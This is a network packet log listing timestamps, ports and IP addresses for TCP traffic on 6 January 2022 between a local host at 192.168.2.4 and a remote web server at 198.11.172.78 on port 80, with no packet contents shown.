Jan 6, 2022 21:04:19.739481926 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739506006 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739537954 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739548922 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739574909 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739602089 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739635944 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739655972 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739674091 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739706039 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739732027 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739751101 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739768028 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739810944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739819050 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739856005 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739864111 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739902973 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739911079 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739948988 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739978075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739998102 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740034103 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740063906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740099907 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740120888 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740151882 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740185022 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740211964 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740226984 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740237951 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740262985 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740273952 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740299940 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740329981 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740364075 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740371943 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740397930 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.740416050 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.740442038 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.888437033 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.889842987 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.911945105 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912015915 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912038088 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912081003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912175894 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912237883 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912251949 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912282944 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912373066 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912431955 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912470102 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912525892 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912590981 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912635088 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912659883 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912684917 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912786007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.912837982 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.912978888 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913034916 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913064957 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913130045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913201094 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913249016 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913300037 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913311005 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913386106 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913469076 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913511038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913559914 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913597107 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913650990 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913722038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913778067 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913790941 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913853884 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.913916111 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.913966894 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914011955 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914058924 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914132118 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914180994 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914220095 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914278984 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914351940 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914402008 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914438009 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914490938 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914570093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914618015 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914663076 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914710045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914787054 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914835930 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914880991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.914926052 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.914995909 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915045023 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915091991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915136099 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915208101 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915255070 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915292978 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915347099 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915421963 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915469885 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915518045 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915561914 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915632963 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915695906 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915735960 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915801048 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.915863991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915925026 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.915981054 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916014910 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916079044 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916150093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916163921 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916196108 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916250944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916296959 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916337967 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916382074 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916424990 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916470051 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916512012 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916555882 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916636944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916702032 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916749001 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916790009 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916872025 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.916924000 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.916971922 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917012930 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917057991 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917099953 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917145967 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917184114 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917228937 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917268991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917313099 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917354107 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917406082 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917439938 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917484045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917526007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917572021 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917612076 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917659044 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917701006 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917746067 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917788029 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917841911 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917872906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.917928934 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.917960882 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918014050 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918051004 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918104887 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918138981 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918189049 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918226957 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918276072 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918315887 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918364048 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918404102 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918458939 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918493986 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918546915 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918585062 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918634892 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918670893 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918723106 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918761015 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918809891 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918848038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918894053 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.918934107 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.918981075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919023037 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919069052 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919111013 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919158936 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919199944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919245958 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919286966 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919337988 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919377089 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919424057 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919464111 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919512033 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919554949 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919605970 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919652939 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919712067 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919764042 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919797897 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919845104 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919883966 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919930935 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.919944048 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919972897 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.919990063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920021057 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920032978 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920058012 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920077085 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920108080 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920119047 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920146942 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920165062 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920197010 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920208931 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920237064 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920253992 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920284033 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920295000 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920321941 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920340061 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920371056 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920382977 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920411110 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920428991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920460939 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920473099 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920504093 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920517921 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920550108 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.920562029 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.920589924 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.060018063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.060096025 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.086633921 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086707115 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086755991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086793900 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.086822987 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.086860895 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086911917 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086968899 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.086982965 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087013960 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087058067 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087100983 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087131023 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087177038 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087202072 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087244987 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087275982 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087321043 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087347031 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087393045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087419987 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087464094 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087495089 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087541103 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087568998 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087613106 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087641954 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087694883 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087742090 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087769032 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087810993 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087841988 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087886095 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087915897 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.087960005 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.087986946 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088031054 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088058949 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088107109 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088136911 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088181973 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088213921 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088263035 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088298082 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088346004 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088378906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088462114 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088502884 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088553905 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088582039 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088630915 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088666916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088716984 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088757038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088805914 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088846922 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.088927031 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.088978052 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089023113 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089061022 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089111090 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089148045 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089196920 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089234114 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089282036 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089318991 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089364052 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089402914 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089449883 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089488029 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089535952 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089572906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089620113 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089670897 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089719057 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089757919 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089803934 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089843035 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089888096 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.089927912 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.089972019 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090013027 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090059042 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090095997 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090142012 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090178967 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090224981 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090261936 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090306044 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090342045 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090387106 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090425968 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090471983 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090509892 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090555906 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090595961 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090641975 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090681076 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090728998 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090769053 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090826035 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090848923 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:20.090890884 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:20.090930939 CET	80	49824	198.11.172.78	192.168.2.4
